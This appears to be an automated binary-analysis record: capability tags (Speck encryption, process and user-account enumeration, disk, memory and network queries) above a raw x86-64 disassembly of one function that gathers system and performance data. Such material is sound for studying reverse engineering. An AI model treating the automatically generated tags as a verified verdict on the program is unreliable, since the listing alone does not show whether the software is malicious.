Function at 0x1400010ab
Capabilities:
Encrypt data using speck
Enumerate processes via ntquerysysteminformation
Get disk information
Get local ipv4 addresses
Get logon sessions
Get memory capacity
Get system information on windows
List groups for user account
List user accounts
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x808
movaps xmmword [rsp + 0x7f0], xmm15
movaps xmmword [rsp + 0x7e0], xmm14
movaps xmmword [rsp + 0x7d0], xmm13
movaps xmmword [rsp + 0x7c0], xmm12
movaps xmmword [rsp + 0x7b0], xmm11
movaps xmmword [rsp + 0x7a0], xmm10
movaps xmmword [rsp + 0x790], xmm9
movdqa xmmword [rsp + 0x780], xmm8
movdqa xmmword [rsp + 0x770], xmm7
movdqa xmmword [rsp + 0x760], xmm6
lea rax, [rsp + 0xc8]
mov qword [rax - 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov eax, 1
xor edi, edi
lea rbx, [0x14002470f]
lea rsi, [rsp + 0xc0]
xor edx, edx
cmp rdi, 0x1c0
je 0x140001194
mov bpl, byte [rdi + rbx]
cmp rdx, qword [rsp + 0xc8]
jne 0x140001178
mov rcx, rsi
call fcn.140004ef9
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xd0]
mov byte [rax + rdx], bpl
mov rdx, qword [rsp + 0xd0]
inc rdx
mov qword [rsp + 0xd0], rdx
inc rdi
jmp 0x140001149
mov qword [rsp + 0x188], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x190], xmm0
call fcn.1400120aa
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x90], rdx
lea rsi, [rsp + 0x1d0]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rsi
call fcn.140011bac
mov rsi, qword [rsi]
test rsi, rsi
je 0x14000120c
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xa0], rax
jmp 0x140001224
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x1e0]
mov ecx, 9
call fcn.140005161
mov r14, rax
mov r15, rdx
movabs rax, 0x5043206c61746f54
mov qword [r14], rax
mov byte [r14 + 8], 0x55
mov ecx, 8
mov edx, 0x120
call fcn.140004ef1
test rax, rax
je 0x140004783
mov rbx, rax
movabs rbp, 0x19db1ded53e8000
call fcn.1400120aa
mov r12, rax
mov r13, rdx
call fcn.14000c70e
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0xfe624e212ac18000
cmp rax, rbp
jge 0x140001297
xor ebp, ebp
jmp 0x1400012c2
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov rbp, rax
call sub.KERNEL32.dll_GetTickCount64
mov ecx, 0x3e8
xor edx, edx
div rcx
sub rbp, rax
mov eax, 0
cmovb rbp, rax
mov rcx, qword [rsp + 0xa0]
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x2d0], xmm6
mov qword [rsp + 0x210], rsi
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x228], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x238], rax
movdqu xmmword [rsp + 0x270], xmm6
movdqu xmmword [rsp + 0x280], xmm6
mov qword [rsp + 0x2e0], r14
mov qword [rsp + 0x2e8], r15
mov qword [rsp + 0x2f0], 9
mov eax, 1
mov qword [rsp + 0x2f8], rax
movdqu xmmword [rsp + 0x300], xmm6
mov qword [rsp + 0x310], rax
and qword [rsp + 0x328], 0
movdqu xmmword [rsp + 0x318], xmm6
and qword [rsp + 0x340], 0
and dword [rsp + 0x348], 0
mov eax, 8
mov qword [rsp + 0x350], rax
movdqu xmmword [rsp + 0x358], xmm6
mov byte [rsp + 0x368], 0
mov qword [rsp + 0x298], rax
movdqu xmmword [rsp + 0x2a0], xmm6
mov qword [rsp + 0x2b0], rbx
mov qword [rsp + 0x2b8], 2
and qword [rsp + 0x2c0], 0
and qword [rsp + 0x1d0], 0
lea r14, [0x140025190]
mov qword [rsp + 0x240], r14
and qword [rsp + 0x258], 0
movdqu xmmword [rsp + 0x248], xmm6
mov qword [rsp + 0x260], r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x290], rbp
mov qword [rsp + 0x2c8], rax
lea rsi, [rsp + 0x5d0]
movdqa xmmword [rsi], xmm6
movdqa xmmword [rsi + 0x30], xmm6
movdqa xmmword [rsi + 0x20], xmm6
movdqa xmmword [rsi + 0x10], xmm6
mov dword [rsi], 0x40
mov rcx, rsi
call sub.KERNEL32.dll_GlobalMemoryStatusEx
movdqu xmm0, xmmword [rsi + 8]
movdqu xmmword [rsp + 0x270], xmm0
lea rcx, [rsp + 0x440]
movdqa xmmword [rcx + 0x50], xmm6
movdqa xmmword [rcx + 0x40], xmm6
movdqa xmmword [rcx + 0x30], xmm6
movdqa xmmword [rcx + 0x20], xmm6
movdqa xmmword [rcx + 0x10], xmm6
movdqa xmmword [rcx], xmm6
and qword [rcx + 0x60], 0
mov edx, 0x68
call sub.PSAPI.DLL_GetPerformanceInfo
cmp eax, 1
jne 0x1400014f0
mov rdx, qword [rsp + 0x450]
mov r9, qword [rsp + 0x460]
xor r10d, r10d
sub rdx, r9
cmovb rdx, r10
mov rcx, qword [rsp + 0x490]
mov rax, rcx
mul rdx
mov r8, rax
mov r11, 0xffffffffffffffff
cmovo r8, r11
mov rdx, qword [rsp + 0x448]
sub rdx, r9
cmovb rdx, r10
mov rax, rcx
mul rdx
cmovo rax, r11
mov qword [rsp + 0x280], r8
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x2e0]
cmp qword [rax - 0x110], 0
jne 0x14000175f
lea r8, [rsp + 0x5d0]
and qword [r8], 0
xor edi, edi
xor ecx, ecx
xor edx, edx
call sub.pdh.dll_PdhOpenQueryA
mov esi, eax
test eax, eax
je 0x140001525
jmp 0x140001542
mov rbx, qword [rsp + 0x5d0]
call fcn.1400120aa
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x440], xmm0
mov rdi, r14
and qword [rsp + 0x1d8], 0
and qword [rsp + 0x208], 0
mov qword [rsp + 0x1d0], rdi
movdqa xmm0, xmmword [rsp + 0x440]
movdqu xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdx
mov qword [rsp + 0x200], rbx
test esi, esi
jne 0x140001756
mov ecx, 0x23
call fcn.140005161
movups xmm0, xmmword [0x14002537f]
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [0x14002538f]
movdqu xmmword [rax + 0x10], xmm0
mov dword [rax + 0x1f], 0x656d6954
lea rsi, [rsp + 0x5d0]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x23
lea r14, [rsp + 0x328]
mov ecx, 5
call fcn.140005161
mov dword [rax], 0x5f746f74
mov byte [rax + 4], 0x30
lea r9, [rsp + 0x440]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 5
lea rdx, [rsp + 0x1d0]
mov rcx, rsi
mov r8, r14
call fcn.14001309e
lea rcx, [rsp + 0x2e0]
mov dl, 1
call fcn.1400133d3
mov r14, rax
mov qword [rsp + 0x90], rdx
xor eax, eax
mov qword [rsp + 0x78], rax
mov edi, 2
mov r12d, 1
cmp r14, qword [rsp + 0x90]
je 0x140001747
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x130], rax
inc rax
mov qword [rsp + 0x78], rax
lea rax, [0x1400253c0]
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rdi
and qword [rsp + 0x460], 0
lea r15, [rsp + 0x130]
mov qword [rsp + 0xf0], r15
lea rsi, [0x140005e4b]
mov qword [rsp + 0xf8], rsi
lea rbp, [rsp + 0xf0]
mov qword [rsp + 0x450], rbp
mov qword [rsp + 0x458], r12
lea r13, [rsp + 0x3b0]
mov rcx, r13
lea rbx, [rsp + 0x440]
mov rdx, rbx
call fcn.14000f539
lea rax, [0x1400253e8]
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rdi
and qword [rsp + 0x460], 0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x450], rbp
mov qword [rsp + 0x458], r12
lea r15, [rsp + 0x5d0]
mov rcx, r15
mov rdx, rbx
call fcn.14000f539
lea r8, [r14 + 0x48]
mov rcx, r13
lea rdx, [rsp + 0x1d0]
mov r9, r15
call fcn.14001309e
add r14, 0x70
jmp 0x14000163f
mov rdi, qword [rsp + 0x1d0]
lea r14, [0x140025190]
test rdi, rdi
je 0x140001873
mov rcx, qword [rsp + 0x200]
call sub.pdh.dll_PdhCollectQueryData
cmp qword [rsp + 0x328], 0
je 0x14000179d
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x1d0]
call fcn.1400133f5
test eax, eax
je 0x140004769
movd dword [rsp + 0x348], xmm0
lea rcx, [rsp + 0x2e0]
mov dl, 1
call fcn.1400133d3
mov rsi, rax
mov rdi, rdx
add rsi, 0x48
lea rbx, [rsp + 0x1d0]
lea rax, [rsi - 0x48]
cmp rax, rdi
je 0x1400017eb
cmp qword [rsi], 0
je 0x1400017e5
mov rcx, rbx
mov rdx, rsi
call fcn.1400133f5
test eax, eax
je 0x140004769
movd dword [rsi + 0x20], xmm0
add rsi, 0x70
jmp 0x1400017be
cmp byte [rsp + 0x368], 0
jne 0x140001873
mov rsi, qword [rsp + 0x360]
lea rdi, [rsp + 0x440]
mov rcx, rdi
mov rdx, rsi
call fcn.140012908
mov rbx, qword [rsp + 0x350]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
shl rax, 3
imul r8, rsi, 0x70
xor r9d, r9d
mov r10, rbx
test r8, r8
je 0x140001851
cmp rax, r9
je 0x140001851
mov r11, qword [rcx + r9]
mov qword [r10 + 0x60], r11
add r10, 0x70
add r9, 8
add r8, 0xffffffffffffff90
jmp 0x140001831
call fcn.1400112ea
test rsi, rsi
je 0x140001861
mov rax, qword [rbx + 0x60]
jmp 0x140001863
xor eax, eax
mov qword [rsp + 0x340], rax
mov byte [rsp + 0x368], 1
lea rsi, [rsp + 0x5d0]
mov rcx, rsi
call fcn.140012b67
cmp dword [rsi], 2
je 0x140001abd
mov rax, qword [rsp + 0x600]
lea rdx, [rsp + 0x440]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x5d0]
movups xmm1, xmmword [rsp + 0x5e0]
movups xmm2, xmmword [rsp + 0x5f0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x3b0]
mov rcx, rsi
call fcn.140012b93
cmp qword [rsi], 2
je 0x140001abd
mov rax, qword [rsp + 0x3e0]
lea rdx, [rsp + 0x440]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x3b0]
movups xmm1, xmmword [rsp + 0x3c0]
movups xmm2, xmmword [rsp + 0x3d0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0xf0]
mov rcx, rsi
call fcn.140012c0d
cmp qword [rsi], 2
je 0x140001abd
mov rax, qword [rsp + 0x120]
lea rdx, [rsp + 0x440]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.140012ca3
cmp qword [rsi], 2
je 0x140001abd
mov rax, qword [rsp + 0x160]
lea rdx, [rsp + 0x440]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x370]
mov rcx, rsi
call fcn.140012d6d
cmp qword [rsi], 2
je 0x140001abd
mov rax, qword [rsp + 0x3a0]
lea rdx, [rsp + 0x440]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x370]
movups xmm1, xmmword [rsp + 0x380]
movups xmm2, xmmword [rsp + 0x390]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x598]
mov rcx, rsi
call fcn.140012dea
mov rax, qword [rsi]
cmp rax, 2
je 0x140001abd
movups xmm0, xmmword [rsp + 0x5a0]
movups xmm1, xmmword [rsp + 0x5b0]
movups xmm2, xmmword [rsp + 0x5c0]
lea rsi, [rsp + 0x728]
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rsp + 0x3b0]
mov rcx, rdi
mov rdx, rsi
mov r8b, 1
call fcn.140012ec9
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x470], rax
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rsp + 0x460], xmm2
movaps xmmword [rsp + 0x450], xmm1
movdqa xmmword [rsp + 0x440], xmm0
mov ebp, dword [rdi + 4]
cmp ebp, 2
jne 0x140004675
lea rcx, [rsp + 0x440]
call fcn.14001191f
mov esi, 8
xor edi, edi
mov rcx, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x2a8]
call fcn.1400118e1
mov rcx, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x2a0]
call fcn.1400119b0
mov qword [rsp + 0x298], rsi
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x2a8], rdi
lea rcx, [rsp + 0xf0]
and qword [rcx], 0
call sub.IPHLPAPI.DLL_GetIfTable2
test eax, eax
jne 0x14000292f
lea r8, [rsp + 0x260]
mov rax, qword [r8 - 0x20]
mov rcx, qword [r8 - 0x18]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r8 - 8]
lea rsi, [rsp + 0x440]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.140011ad3
test rax, rax
je 0x140001b75
mov byte [rdx + 0x6e], 0
jmp 0x140001b62
call fcn.1400120aa
pxor xmm0, xmm0
lea rcx, [rsp + 0x460]
movdqu xmmword [rcx - 0x10], xmm0
mov qword [rcx - 0x20], r14
and qword [rcx - 0x18], 0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x3b0]
mov qword [rax], 8
movdqu xmmword [rax + 8], xmm0
mov r14, qword [rsp + 0xf0]
mov eax, dword [r14]
add r14, 8
lea r15, [rsp + 0x5d0]
pcmpeqd xmm6, xmm6
xor ecx, ecx
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0x98], rax
cmp rcx, rax
je 0x140001eda
mov rsi, rcx
inc rcx
imul rdi, rsi, 0x548
cmp qword [r14 + rdi + 0x4a8], 0
jne 0x140001c08
cmp qword [r14 + rdi + 0x4b0], 0
je 0x140001bdc
cmp dword [r14 + rdi + 0x48c], 2
je 0x140001bdc
cmp dword [r14 + rdi + 0x420], 0
je 0x140001bdc
mov qword [rsp + 0x90], rcx
mov ecx, 0x14
mov edx, 2
call fcn.14000bfd5
mov r13, rax
mov eax, dword [r14 + rdi + 0x10]
movzx ecx, byte [r14 + rdi + 0x14]
movzx edx, byte [r14 + rdi + 0x15]
movzx r8d, byte [r14 + rdi + 0x16]
movzx r9d, byte [r14 + rdi + 0x17]
movzx r10d, byte [r14 + rdi + 0x18]
movzx r11d, byte [r14 + rdi + 0x19]
movzx ebx, byte [r14 + rdi + 0x1a]
movzx edi, byte [r14 + rdi + 0x1b]
mov dword [r13], eax
mov word [r13 + 4], cx
mov word [r13 + 6], dx
mov word [r13 + 8], r8w
mov word [r13 + 0xa], r9w
mov word [r13 + 0xc], r10w
mov word [r13 + 0xe], r11w
mov word [r13 + 0x10], bx
mov word [r13 + 0x12], di
mov ecx, 0xa
xor edx, edx
call fcn.14000a12e
mov rbx, rax
mov qword [rsp + 0x88], rdx
movups xmm0, xmmword [r13]
movups xmmword [rax], xmm0
mov eax, dword [r13 + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
mov r9d, 0xa
mov r8, rbx
call fcn.140011397
mov rdi, qword [rsp + 0x440]
mov r14, qword [rsp + 0x448]
mov r12, r14
and r12, rax
mov qword [rsp + 0xb0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x78], rax
movdqu xmm8, xmmword [rdi + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5d0], ax
mov rcx, r15
call fcn.14000ffde
test rax, rax
je 0x140001d6c
add rdx, r12
and rdx, r14
shl rdx, 5
mov rbp, rdi
sub rbp, rdx
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
mov r9d, 0xa
mov r8, rbx
call fcn.14001142d
test al, al
je 0x140001d33
jmp 0x140001d98
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140001e42
mov rax, qword [rsp + 0x78]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x78], rax
and r12, r14
jmp 0x140001d18
mov rcx, rbx
mov rdx, qword [rsp + 0x88]
call fcn.14000a5f8
mov eax, dword [rbp - 8]
inc eax
mov dword [rbp - 8], eax
cmp eax, 1
jle 0x140001dcc
mov edx, 0xa
mov rcx, r13
call fcn.14000a5f8
mov r14, qword [rsp + 0xa0]
jmp 0x140001e2d
mov rdx, qword [rsp + 0x3c0]
cmp rdx, qword [rsp + 0x3b8]
mov r14, qword [rsp + 0xa0]
jne 0x140001dfb
lea rcx, [rsp + 0x3b0]
call fcn.140011621
mov rdx, qword [rsp + 0x3c0]
mov rax, qword [rsp + 0x3b0]
mov rcx, rdx
shl rcx, 5
mov dword [rax + rcx], esi
mov qword [rax + rcx + 8], r13
mov r8d, 0xa
mov qword [rax + rcx + 0x10], r8
mov qword [rax + rcx + 0x18], r8
inc rdx
mov qword [rsp + 0x3c0], rdx
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
jmp 0x140001bdc
cmp qword [rsp + 0x450], 0
je 0x140001eb0
mov rcx, rdi
mov rdx, r14
mov r8, qword [rsp + 0xb0]
call fcn.140011af3
mov rcx, qword [rsp + 0x440]
shl rax, 5
mov rbp, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x450], rdx
sub rbp, rax
neg rax
mov qword [rcx + rax - 0x20], rbx
mov rax, qword [rsp + 0x88]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xa
and dword [rbp - 8], 0
inc qword [rsp + 0x458]
jmp 0x140001da8
lea rcx, [rsp + 0x440]
lea rdx, [rsp + 0x460]
call fcn.14002274e
mov rdi, qword [rsp + 0x440]
mov r14, qword [rsp + 0x448]
jmp 0x140001e4d
mov rax, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x3b8]
mov qword [rsp + 0x1b8], rcx
mov r13, qword [rsp + 0x3c0]
shl r13, 5
add r13, rax
lea rbp, [rsp + 0x5d0]
pcmpeqd xmm6, xmm6
mov qword [rsp + 0x1b0], rax
mov rdi, rax
mov qword [rsp + 0x168], r13
mov rsi, rdi
cmp rdi, r13
je 0x14000248c
lea rdi, [rsi + 0x20]
mov r15, qword [rsi + 8]
test r15, r15
je 0x140002489
mov r12, qword [rsi + 0x10]
mov edx, dword [rsi]
cmp qword [rsp + 0x458], 0
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x90], r12
je 0x14000205d
mov qword [rsp + 0x98], rdx
mov rsi, qword [rsi + 0x18]
mov rcx, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
mov r8, r15
mov r9, rsi
call fcn.140011397
mov rdi, qword [rsp + 0x440]
mov rbx, qword [rsp + 0x448]
mov r12, rbx
and r12, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x88], rax
movdqu xmm8, xmmword [rdi + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5d0], ax
mov rcx, rbp
call fcn.14000ffde
test rax, rax
je 0x14000200d
add rdx, r12
and rdx, rbx
shl rdx, 5
mov r14, rdi
sub r14, rdx
mov r8, qword [r14 - 0x20]
mov r9, qword [r14 - 0x10]
mov rcx, r15
mov rdx, rsi
call fcn.14001142d
test al, al
je 0x140001fd7
jmp 0x140002042
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400022e0
mov rax, qword [rsp + 0x88]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x88], rax
and r12, rbx
jmp 0x140001fbc
add r14, 0xffffffffffffffe0
mov rdi, qword [rsp + 0x78]
mov r12, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
jmp 0x140002060
xor r14d, r14d
lea rax, [r14 + 0x18]
test r14, r14
lea rcx, [0x1400252fc]
cmove rax, rcx
cmp dword [rax], 1
jg 0x1400022d0
imul rsi, rdx, 0x548
mov rax, qword [rsp + 0xa0]
lea r14, [rax + rsi]
lea rdx, [rax + rsi]
add rdx, 0x1c
xor r8d, r8d
cmp r8, 0x101
je 0x1400020af
cmp word [rdx + r8*2], 0
je 0x1400020b7
inc r8
jmp 0x140002099
mov r8d, 0x101
jmp 0x1400020c4
cmp r8, 0x102
jae 0x140004769
mov rcx, rbp
call fcn.140005312
mov rbx, qword [rsp + 0x5d0]
test rbx, rbx
je 0x1400022d0
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0x98], rsi
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0xb0], rax
mov rsi, qword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, rbx
mov r9, rsi
call fcn.140011301
mov r12, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x248]
mov r14, rdi
and r14, rax
mov qword [rsp + 0x1c0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x88], rax
movdqu xmm8, xmmword [r12 + r14]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5d0], ax
mov rcx, rbp
call fcn.14000ffde
test rax, rax
je 0x1400021b4
add rdx, r14
and rdx, rdi
neg rdx
imul r13, rdx, 0x88
mov rcx, qword [r12 + r13 - 0x88]
mov rdx, qword [r12 + r13 - 0x78]
mov r8, rbx
mov r9, rsi
call fcn.140005ff0
test al, al
je 0x140002179
jmp 0x1400021e9
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400022e8
mov rax, qword [rsp + 0x88]
add r14, rax
add r14, 0x10
add rax, 0x10
mov qword [rsp + 0x88], rax
and r14, rdi
jmp 0x14000215e
add r12, r13
mov rax, qword [r12 - 0x68]
mov rcx, qword [r12 - 0x58]
mov qword [r12 - 0x60], rax
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x98]
mov rax, qword [rdx + r8 + 0x500]
mov qword [r12 - 0x68], rax
mov qword [r12 - 0x50], rcx
mov rax, qword [rdx + r8 + 0x4b8]
mov qword [r12 - 0x58], rax
mov rax, qword [r12 - 0x48]
mov qword [r12 - 0x40], rax
mov rax, qword [rdx + r8 + 0x4c0]
add rax, qword [rdx + r8 + 0x4c8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov qword [r12 - 0x48], rax
mov rax, qword [r12 - 0x38]
mov qword [r12 - 0x30], rax
mov rax, qword [rdx + r8 + 0x508]
add rax, qword [rdx + r8 + 0x510]
cmovb rax, rcx
mov qword [r12 - 0x38], rax
mov rax, qword [r12 - 0x28]
mov qword [r12 - 0x20], rax
mov rax, qword [rdx + r8 + 0x4d8]
mov qword [r12 - 0x28], rax
mov rax, qword [r12 - 0x18]
mov qword [r12 - 0x10], rax
mov rax, qword [rdx + r8 + 0x520]
mov qword [r12 - 0x18], rax
mov byte [r12 - 2], 1
mov rcx, rbx
mov rdx, qword [rsp + 0xb0]
call fcn.1400050f0
mov r13, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x78]
mov r12, qword [rsp + 0x90]
mov rcx, r15
mov rdx, r12
call fcn.14000a5f8
jmp 0x140001f20
xor r14d, r14d
jmp 0x140002046
cmp qword [rsp + 0x250], 0
je 0x14000245f
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rax + rdx + 0x4c0]
add r8, qword [rax + rdx + 0x4c8]
mov rcx, qword [rax + rdx + 0x4b8]
mov qword [rsp + 0x88], rcx
mov rcx, 0xffffffffffffffff
cmovb r8, rcx
mov qword [rsp + 0x1a8], r8
mov r14, qword [rax + rdx + 0x508]
add r14, qword [rax + rdx + 0x510]
cmovb r14, rcx
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0x1a0], rcx
mov r13, qword [rax + rdx + 0x500]
mov rcx, qword [rax + rdx + 0x4d8]
mov qword [rsp + 0xe0], rcx
mov rax, qword [rax + rdx + 0x520]
mov qword [rsp + 0x98], rax
mov rcx, r12
mov rdx, rdi
mov r8, qword [rsp + 0x1c0]
call fcn.140011af3
mov rcx, qword [rsp + 0x240]
neg rax
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x250], rdx
imul rax, rax, 0x88
mov qword [rcx + rax - 0x88], rbx
mov rdx, qword [rsp + 0xb0]
mov qword [rcx + rax - 0x80], rdx
mov qword [rcx + rax - 0x78], rsi
mov rdx, qword [rsp + 0x1a0]
mov qword [rcx + rax - 0x70], rdx
mov qword [rcx + rax - 0x68], r13
mov qword [rcx + rax - 0x60], r13
mov rdx, qword [rsp + 0x88]
mov qword [rcx + rax - 0x58], rdx
mov qword [rcx + rax - 0x50], rdx
mov rdx, qword [rsp + 0x1a8]
mov qword [rcx + rax - 0x48], rdx
mov qword [rcx + rax - 0x40], rdx
mov qword [rcx + rax - 0x38], r14
mov qword [rcx + rax - 0x30], r14
mov rdx, qword [rsp + 0xe0]
mov qword [rcx + rax - 0x28], rdx
mov qword [rcx + rax - 0x20], rdx
mov rdx, qword [rsp + 0x98]
mov qword [rcx + rax - 0x18], rdx
mov qword [rcx + rax - 0x10], rdx
and dword [rcx + rax - 8], 0
and word [rcx + rax - 4], 0
mov byte [rcx + rax - 2], 1
inc qword [rsp + 0x258]
jmp 0x1400022bb
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x260]
call fcn.140022a3e
mov r12, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x248]
jmp 0x1400022f7
mov rsi, rdi
sub r13, rsi
shr r13, 5
add rsi, 0x10
lea r14, [rsp + 0x240]
sub r13, 1
jb 0x1400024b7
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.14000a5f8
add rsi, 0x20
jmp 0x14000249f
mov r8, qword [rsp + 0x1b8]
test r8, r8
je 0x1400024da
shl r8, 5
mov edx, 8
mov rcx, qword [rsp + 0x1b0]
call fcn.1400071cb
mov rcx, qword [rsp + 0xf0]
call sub.IPHLPAPI.DLL_FreeMibTable
mov rdx, qword [rsp + 0x448]
test rdx, rdx
je 0x1400025e2
mov rcx, qword [rsp + 0x440]
mov rax, qword [rsp + 0x458]
test rax, rax
je 0x1400025d7
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0x5e8]
mov qword [rsi - 0x18], rcx
add rcx, 0x10
mov qword [rsi - 0x10], rcx
mov qword [rsi - 8], rdx
mov word [rsi], r8w
mov qword [rsi + 8], rax
mov edi, 1
test rdi, rdi
je 0x1400025c7
mov rcx, rsi
call fcn.14000ffde
cmp rax, 1
je 0x14000258f
mov rax, qword [rsp + 0x5d8]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x5e8], cx
add qword [rsp + 0x5d0], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x5d8], rax
jmp 0x14000254d
shl rdx, 5
mov rax, qword [rsp + 0x5d0]
mov rdi, qword [rsp + 0x5f0]
mov rcx, rax
sub rcx, rdx
dec rdi
mov qword [rsp + 0x5f0], rdi
mov rcx, qword [rcx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
call fcn.14000a5f8
jmp 0x140002548
mov rcx, qword [rsp + 0x440]
mov rdx, qword [rsp + 0x448]
mov r8d, 0x20
call fcn.1400119ec
mov rax, qword [rsp + 0x240]
